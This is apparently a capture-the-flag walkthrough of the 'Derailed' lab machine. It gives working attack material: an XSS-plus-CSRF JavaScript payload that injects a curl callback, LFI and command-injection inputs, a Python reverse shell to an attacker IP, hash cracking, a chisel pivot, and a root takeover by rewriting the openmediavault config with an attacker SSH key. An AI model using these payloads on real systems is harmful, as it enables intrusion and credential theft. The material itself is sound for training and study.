TCP Scan

> TARGET=<target-ip> && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
3000/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: derailed.htb
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
  • Found domain: derailed.htb

Wen Enum

> dirsearch -u http://derailed.htb:3000/
[03:19:42] 200 -    2KB - /login.js
[03:19:42] 406 -   39B  - /login.json
[03:20:07] 200 -    2KB - /rails/info/properties
[03:20:10] 200 -   99B  - /robots.txt
  • http://derailed.htb:3000/rails/info/properties contains a lot of information
Rails version	6.1.6
Ruby version	ruby 2.7.2p137 (2020-10-01 revision 5445e04352) [x86_64-linux]
RubyGems version	3.1.4
Rack version	2.2.3
Middleware	

    Webpacker::DevServerProxy
    ActionDispatch::HostAuthorization
    Rack::Sendfile
    ActionDispatch::Static
    ActionDispatch::Executor
    ActiveSupport::Cache::Strategy::LocalCache::Middleware
    Rack::Runtime
    Rack::MethodOverride
    ActionDispatch::RequestId
    ActionDispatch::RemoteIp
    Sprockets::Rails::QuietAssets
    Rails::Rack::Logger
    ActionDispatch::ShowExceptions
    ActionDispatch::ActionableExceptions
    ActionDispatch::Reloader
    ActionDispatch::Callbacks
    ActiveRecord::Migration::CheckPending
    ActionDispatch::Cookies
    ActionDispatch::Session::CookieStore
    ActionDispatch::Flash
    ActionDispatch::ContentSecurityPolicy::Middleware
    ActionDispatch::PermissionsPolicy::Middleware
    Rack::Head
    Rack::ConditionalGet
    Rack::ETag
    Rack::TempfileReaper

Application root	/var/www/rails-app
Environment	development
Database adapter	sqlite3
Database schema version	20220529182601
  • http://derailed.htb:3000/rails/info/routes shows all routes information
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://derailed.htb:3000/" -H "Host: FUZZ.derailed.htb:3000"

Found nothing
  • Found http://derailed.htb:3000/clipnotes/raw/1 and a user called alice
> wfuzz -z range,0-69 -b _simple_rails_session=<cookie> http://derailed.htb:3000/clipnotes/raw/FUZZ
  • There is a reporting facility at http://derailed.htb:3000/report/<number> and after submitting a report, we receive the following, which signals there might be an admin bot reading our post.
The note has been reported. Our admins will soon have a look at it.

Admin access to clipnote webapp

Unintended method: exploiting mass assignment

Warning: this approach had been patched but worth introducing

  • In the /register route, there was a mass assignment vulnerability where one can use to register an admin user. The related code is shown below:
# in rails-app/app/controllers/applicants_controller.rb
# note that :role is vulnerable to mass assignment
def user_params
    params.require(:user).permit(:username, :password, :password_confirmation, :role)
end
  • Use burp to intercept the register request and craft a payload like below. Note user[role]=administrator
authenticity_token=<token>&user[username]=meow&user[password]=test&user[password_confirmation]=test&user[role]=administrator
  • You now have a user with admin privilege
  • Later in the exploit, we can get a copy of the rails-app code and we can run brakeman on it to learn that the rails-app is vulnerable to xxs.
Confidence: Weak
Category: Cross-Site Scripting
Check: SanitizeConfigCve
Message: rails-html-sanitizer 1.4.2 is vulnerable to cross-site scripting when `select` and `style` tags are allowed (CVE-2022-32209). Upgrade to 1.4.3 or newer
File: Gemfile.lock
Line: 138

Intended approach: xss and csrf

  • Reading from: https://hackerone.com/reports/1530898
  • The web app is vulnerable to xss sanitization issue. We can utilise this to make the admin to execute our code. However, bear in mind that the session cookie is marked as httpOnly. Therefore, stealing cookie is not the way to go. Later, we will see that using xss we can understand how the /administration page is structured. The actual attack can be done by posting to the /administration/reports endpoint, e.g csrf.
  • A little bit of background on the differences between xss and csrf: xss allows an attacker to execute arbitrary javascript within the browser of a victim user (e.g helping us to enum the /administration route). csrf allows an attacker to induce a victim user to perform actions that they do not intend to (e.g exploting the /administration/reports endpoint).
  • Overview of the attack concept
    • This challenge is very similar to rootme\web-client\CSRF-token-bypass, so if you would like to have more challenge after this, you will learn a lot by visiting the same challenge on rootme.
    • We need to first find a specific sequence to bypass the sanitization and then execute arbitrary code, e.g xss
    • Then, we need to use the xss to map out what’s the administration page like
    • After that, we need to craft a csrf payload to do two things
      1. fetch an authenticity_token from the /administration page,
      2. craft a form that posts to /administration/reports with the authenticity_token we obtained earlier.
  • To trigger the payload, following is the rough structure
    • Register a user by intercepting the traffic to bypass character limit
    • Craft the user name with a specific pattern to bypass sanitization
    • Login as the new user
    • Create a clipnote with some random content
    • Once the note is created, you should be able to see your xss being executed by viewing the note. This is where you can test your poc
    • Report this note and wait for the admin to visit the note (sometimes the admin-visit process may be broken, if you are certain that your payload should work but didn’t see anything within 2 minutes, tough luck, reset and restart. This part is not stable, you will be able to understand why it’s the case once you have root and try to run the xss.py script manually)
  • The payload pattern to bypass sanitization is as follow
# <any 40 characters><bypass-pattern><xss-payload>
# example:
meowmeowmeowmeowmeowmeowmeowmeowmeowmeow<select<style/><img src="http://<ip>">
  • In this writeup, i’ll bypass the steps of enum to map out how the /administration page is structure. You can do so using various means such as posting the page source to your http server that can accept post requests.
  • The form post on the /administration page is structure like so.
<form method="post" action="/administration/reports">
    <input type="hidden" name="authenticity_token" id="authenticity_token" value="<authenticity_token>" autocomplete="off">
    <input type="text" class="form-control" name="report_log" value="report_23_11_2022.log" hidden="">
    <label class="pt-4"> 23.11.2022</label>
    <button name="button" type="submit">Download</button>
</form>
  • So, for our purpose, we need to use xss to fetch the authenticity_token and then use csrf to exploit the report_log field.
  • To fetch the authenticity_token
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "http://derailed.htb:3000/administration", true);
xmlHttp.send( null );

// an arbitrary delay to ensure the page is rendered
setTimeout(function() {
    var doc = new DOMParser().parseFromString(xmlHttp.responseText, 'text/html');
    var token = doc.getElementById('authenticity_token').value;
}, 2000);
  • To make a post, we need to craft a malicious form first and then assign the fetched authenticity_token and the cmd injection payload
// just copy the form code from above and clean it up a bit
var newForm = new DOMParser().parseFromString('<form id="badform" method="post" action="/administration/reports">    <input type="hidden" name="authenticity_token" id="authenticity_token" value="placeholder" autocomplete="off">    <input id="report_log" type="text" class="form-control" name="report_log" value="placeholder" hidden="">    <button name="button" type="submit">Submit</button>', 'text/html');
document.body.append(newForm.forms.badform);
document.getElementById('badform').elements.report_log.value = '|curl http://<ip>/?cmdi';
document.getElementById('badform').elements.authenticity_token.value = token;
document.getElementById('badform').submit();
  • Then final payload looks like this
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "http://derailed.htb:3000/administration", true);
xmlHttp.send( null );
// send a signal to indicate which step has been achieved
var x = document.createElement("IMG");
x.src = 'http://<ip>/?step1';

setTimeout(function() {
    // send a signal to indicate which step has been achieved
    var x = document.createElement("IMG");
    x.src = 'http://<ip>?step2';
    // fetch the token
    var doc = new DOMParser().parseFromString(xmlHttp.responseText, 'text/html');
    var token = doc.getElementById('authenticity_token').value;
    // craft the form
    var newForm = new DOMParser().parseFromString('<form id="badform" method="post" action="/administration/reports">    <input type="hidden" name="authenticity_token" id="authenticity_token" value="placeholder" autocomplete="off">    <input id="report_log" type="text" class="form-control" name="report_log" value="placeholder" hidden="">    <button name="button" type="submit">Submit</button>', 'text/html');
    document.body.append(newForm.forms.badform);
    // assign the values
    document.getElementById('badform').elements.report_log.value = '|curl http://<ip>/?cmdi';
    document.getElementById('badform').elements.authenticity_token.value = token;
    document.getElementById('badform').submit();
}, 2000);
meowmeowmeowmeowmeowmeowmeowmeowmeowmeow<select<style/><img src="http://<ip>" onerror="eval(String.fromCharCode(<obfuscated-char-code>))">
  • Now, register this username, create a note and report it. Watch for the callbacks from the target.

Foothold

  • Once you’ve achieved the above, we can now exploit the /administration report downloading part for a shell. Report downloading is vulnerable to LFI and cmd injection, where you can use to download arbitrary files from the target and run arbitrary code.
  • You can play with the report_log parameter and try to download an arbitrary file
authenticity_token=<token>&report_log=/etc/passwd&button=
  • The same field is also vulnerable to cmd injection, so you can exploit this to run arbitrary cmd on the target. Note the pipe | character before the cmd you inject.
authenticity_token=<token>&report_log=|<cmd>&button=
|python3+-c+'import+pty;import+socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("bash")'
  • After you have a shell and performed some enum, we can found a file at /var/www/rails-app/app/controllers/admin_controller.rb
  • Viewing the content, there is an open method used that can be exploited for RCE. This confirms why we are able to run code via report_log param:
report_log = params[:report_log]
begin
    file = open(report_log)

Cracking password hashes

  • From /var/www/rails-app/db/development.sqlite3, we can find two hashes, one of them is crackable using hashcat
alice	$2a$12$hkqXQw6n0CxwBxEW/0obHOb.0/****e/4z95W3BhoFqpQRKIAxI7.
toby	$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv****5RML3sDLuIqNqqimqnZYyle

# you need to download the latest version of hashcat to have the module 28400
> hashcat -m 28400 hash.txt rockyou.txt
  • The hash for toby can be cracked: g******y

PE: alice’s credential

  • In /var/www/rails-app/, we can find (part of) the rails-app. This is also a git repository.
# show commit histories
> git log
commit 5ef649cc9b81893b070c607bdca5e6ed4370b914 (HEAD -> master)
Author: gituser <gituser@local>
Date:   Sat May 28 15:01:14 2022 +0200

    init

commit 61995bf40dcb332b8979adc32152d73e5546e40c
Author: gituser <gituser@local>
Date:   Fri May 27 21:06:07 2022 +0200

    init

commit 15df0becc4d8fc989bda8c154637d183258d3af0
Author: gituser <gituser@local>
Date:   Thu May 19 21:41:04 2022 +0200

    init
  • We can find alice’s credential in one of the commits
> git checkout 61995bf40dcb332b8979adc32152d73e5546e40c -f

# Then browse to the file rails-app/db/seeds.rb to get alice's credential
* alice:recliner-bellyaching-bungling-continuum-gonging-laryng****

PE: openmediavault-webgui

  • The previously cracked credential can be used to login as openmediavault-webgui
> su - openmediavault-webgui
  • This user belongs to several openmediavault related groups
uid=999(openmediavault-webgui) gid=996(openmediavault-webgui) groups=996(openmediavault-webgui),999(openmediavault-config),998(openmediavault-engined)
  • This is the user used to run an application called openmediavault (i.e omv) which is an application that manages access control to resources.
  • Check openmediavault version. There doesn’t seem to be any open exploits
> dpkg -l | grep openmediavault
hi  openmediavault                     6.0.27-1                       all          openmediavault - The open network attached storage solution
ii  openmediavault-keyring             1.0                            all          GnuPG archive keys of the OpenMediaVault archive
  • Looking at the open ports, there is an application running at 80, which is the omv application.
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -
tcp        0      0 10.129.74.181:5357      0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:40745         0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:40829         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3003          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:3000            0.0.0.0:*               LISTEN      -
tcp6       0      0 :::139                  :::*                    LISTEN      -
tcp6       0      0 :::111                  :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::445                  :::*                    LISTEN      -
  • Since it runs on 127.0.0.1, we need to pivot the traffic to access it
# on kali
> chisel server -p 9999 --reverse

# on target, upload chisel and give execution rights
> chmod +x chisel
> ./chisel client --max-retry-count=1 <ip>:9999 R:8888:localhost:80

SSH as openmediavault-webgui

Warning: this step was later proven to be unnecessary, and due to some recent changes, resetting admin password using omv-firstaid no longer worked

  • The default credentail for omv webgui is admin:openmediavault, however, this had been changed. So we need to reset the password using omv-firstaid: https://forum.openmediavault.org/index.php?thread/5934-omv-firstaid-usage/. This tool can be found at /usr/sbin/omv-firstaid. However, because it’s an interactive tool, we have to login via a ssh session.
  • openmediavault-webgui is not in ssh group, so we cannot ssh to the target as openmediavault-webgui directly.
  • However, the rails user is in ssh group, yet we don’t know the password. But we can create a .ssh/authorized_keys file and echo our public key to it to gain ssh access.
# as rails
rails@derailed:~$ mkdir .ssh
rails@derailed:~$ echo '<id_rsa.pub>' > .ssh/authorized_keys

# login as rails via ssh
> ssh rails@derailed.htb

# switch to openmediavault-webgui
rails@derailed:~$ su openmediavault-webgui
  • Then, we can reset the admin password for the omv web portal
# as openmediavault-webgui
openmediavault-webgui@derailed:~$ /usr/sbin/omv-firstaid
# then use option 3 to reset the password
  • Now, we are able to access the omv webgui at http://127.0.0.1:8888 and login using admin:<whatever-we-set>

Warning: again, this step was later proven to be unnecessary, and it no longer worked after the patches

PE: root

  • Upload linpeas and do enum, we learnt that omv is running on port 80. We can find the relevant config file for this app.
[+] Readable files belonging to root and readable by me but not world readable
-rw-rw---- 1 root openmediavault-config 18838 May 30 07:13 /etc/openmediavault/config.xml
> ssh-keygen -t rsa
> ssh-keygen -e -f ~/.ssh/id_rsa.pub

# do some cleaning of this public key and record it for use
  • Then download a copy of /etc/openmediavault/config.xml and let’s edit it to make root to accept our public ssh key. The config.xml on the target contains two user entries: rails and test. You can update the test user’s section for root.
        <user>
          <uuid>e3f59fea-4be7-4695-b0d5-560f25072d4a</uuid>
          <name>root</name>
          <email></email>
          <disallowusermod>0</disallowusermod>
          <sshpubkeys>
            <sshpubkey>---- BEGIN SSH2 PUBLIC KEY ----
`your-public-key`
---- END SSH2 PUBLIC KEY ----
</sshpubkey>
          </sshpubkeys>
        </user>
  • We can now put this modified config file onto the target as user openmediavault-webgui, because the config belongs to the group openmediavault-config.
# add tools to PATH for convenience
> export PATH=/usr/sbin:$PATH

# Get config to the target and overwrite
> wget http://<ip>/openmediavault-config.xml -O /etc/openmediavault/config.xml

# Use the omv-confdbadm tool to load the modified user config, this tool will throw error if the format is wrong. So it helps us to debug our public ssh key format.
> omv-confdbadm read conf.system.usermngmnt.user

# Force a config update of the ssh module
> /usr/sbin/omv-rpc -u admin "config" "applyChanges" "{ \"modules\": [\"ssh\"],\"force\": true }"

Post exploit: cracking secret key base

> python2 Credentials.yml.enc_Decryptor/decryptor.py www/rails-app/config/credentials.yml.enc www/rails-app/config/master.key
Credentials.yml.enc_Decryptor/decryptor.py:7: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
  from cryptography.hazmat.backends import default_backend
I"/# aws:
#   access_key_id: 123
#   secret_access_key: 345

# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
secret_key_base: 11a5a3105df48cbeee046e75cf85a16a0417c1219b96def6ac8a2d475486607f80dc399f9367c1bdb3a826fdf360fcc241be601bb11940a80d1885bf399c5f3f
:ET